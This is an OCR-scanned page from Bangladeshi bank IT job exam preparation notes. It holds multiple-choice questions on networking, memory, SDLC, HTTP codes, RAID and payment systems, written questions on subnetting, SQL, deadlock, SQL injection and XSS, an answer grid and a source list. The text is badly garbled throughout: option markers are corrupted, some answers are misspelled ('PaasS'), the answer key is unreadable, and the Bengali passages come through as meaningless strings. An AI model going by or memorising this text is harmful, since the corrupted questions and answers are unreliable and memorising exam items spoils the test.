Windows command to show active connections and listening ports: () ipconfig (¥) netstat (5)
tracert (9) nslookup

Fastest memory: () RAM (¥) SSD (51) Cache (2) HDD

Non-volatile memory: () RAM (¥) Cache (sf) ROM (9) Register

8086 is a ___ microprocessor. () 8-bit (¥) 16-bit (s) 32-bit () 64-bit

Gate that outputs 1 only when inputs differ: () AND (¥) OR (s) XOR (g) NAND
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27

28.
29.
30.
31.
32.
33.
34.
35.
36.
37.

38.
39.

40.

.(1AND 0)OR (1 AND 1) =2 () 0 (¥) 1 (1) Null (=) -1

Binary 111 in decimal: (F) 3 (¥)5(s1) 7 (9) 9

Linear sequential SDLC model: () Agile (¥) Spiral (sf) Waterfall () RAD

Git is a: () build tool (¥) version control system (1) container () CI server

In MVC, HTTP GET/POST requests are handled by: () Model (¥) View (s) Controller (2) Router DB
HTTP status 404 means: () Forbidden (¥) Not Found (1) Bad Request () Unauthorized

Heroku / Google App Engine are examples of: () [aaS (¥) PaasS (1) SaaS (9) FaaS only

Usable capacity of RAID 5with 4 x 2 TB: ()8 TB(¥) 6 TB (s1) 4 TB (9) 2 TB

Activation commonly used in hidden layers: () Sigmoid (¥) Softmax (57) ReLU () Step
Architecture behind most LLMs: () CNN (¥) RNN (51) Transformer () Autoencoder

NPSB stands for: (F) National Payment System Bangladesh (¥) National Payment Switch Bangladesh
(s7) Network Payment Service Bank (9) National Postal Savings Bank

RTGS settles: () in batches (¥) individually in real time (5) end of month () via cheque only

Most secure remote Linux administration: () Telnet (¥) SSH with password (sf) SSH key-based ()
VNC

Primary purpose of a DMZ: () speed up LAN (¥) host public-facing servers in an isolated zone ()
store backups (9) assign IPs

Part B — Written (2f$f6 o)

1.

Divide 192.168.1.0/24 into four equal subnets; give network, mask, usable range and broadcast of
each. (WL q)

. Why is Atomicity critical for an inter-bank fund transfer? Write an SQL constraint so that a savings
account balance can never be negative. (Y ¢)

3. Simplify F(A,B,C,D) = xm(0,3,5,7,8,10,11,12,13,14,15) using a K-map. (LI )

4. State the four necessary conditions of deadlock. Does a cycle in a RAG always mean deadlock?

(LI )

5. Differentiate Hashing and Encryption. Explain SQL Injection and XSS with prevention. (J<51¥ )

. An ATM network has 4 hours of downtime in 30 days. Find availability. At 500 transactions/hour and
Tk 0.50 fee, find the revenue loss. (JTIIT )

. Insert keys 10, 3, 5, 6, 16, 17, 19 into a hash table of size 13 using h(k) = k mod 13 and linear probing.
(T ©)

. Write a Java program that demonstrates method overriding and explain runtime polymorphism.
(1Y 8)

MCQ Sea9iq
Sed
1 < 11 & 21 < 31 s
2 3 12 < 22 K 32 <
3 S 13 Bl 23 S 33 Qq

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 183 /185



4 g 14
5 st 15
6 g 16
7 st 17
8 st 18
9 g 19
10 st 20

v8: RAID 5 =(4 - 1) x 2 =6 TBI *5: 750 = owner 7 (rwx), group 5 (r-x), others 01 x: /27 = 2°-2=30I

R P

9 sy

24

25

26

27

28

29

30

e - T

34

35

36

37

38

39

40
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Sources & Further Practice

93 (6T I51S LRS! 6T TAAIZT Ao (ATF (ST (WFKT 2030-9 Fe5YRS) | AT AIHIAwm
ST, TIGTEAT 9% (B AT JBIR IR (=T AR

e EIR N SE |

duranta.app/question-bank BB AP 2023, BB AME 2023, BSCS AME/AE il 8 (3 203y, SO IT 25104,
Officer IT 25105, Officer IT 2024, ANSE 2026 — PDF (R=t=)

it.jobgns.com (Bank IT Job Solution Combined Bank Officer IT MCQ (BIBM, 09.05.303Y),

2026) AP/AME/SO/ADA/ANE (575 (SICH<FS Tl STTRTERo1I =1es)
itjobexam.com Combined 6 Bank AP 200 SIta fAfas s (C/C++)
sattacademy.com BB AD @ Combined Bank Officer-a3 S8B1a/ICT MCQ 71T

facebook.com/groups/govtcse.itjob CSE Career Master Guide — S2IfS3 2161 &% TFS (956 3

erecruitment.bb.org.bd RIS FFA, ARG, FArF — AIHIT 477 QA QA Ao
T3

1T ot
ASTT TG AIHIF 217 >-2 T W&y 2% 9T S0 BT W | T 2% (it 2R sameas ooy oo
TSI (15 I — AR QRFIOI513 O3 (@6 &I F (@Il ICHT FAST
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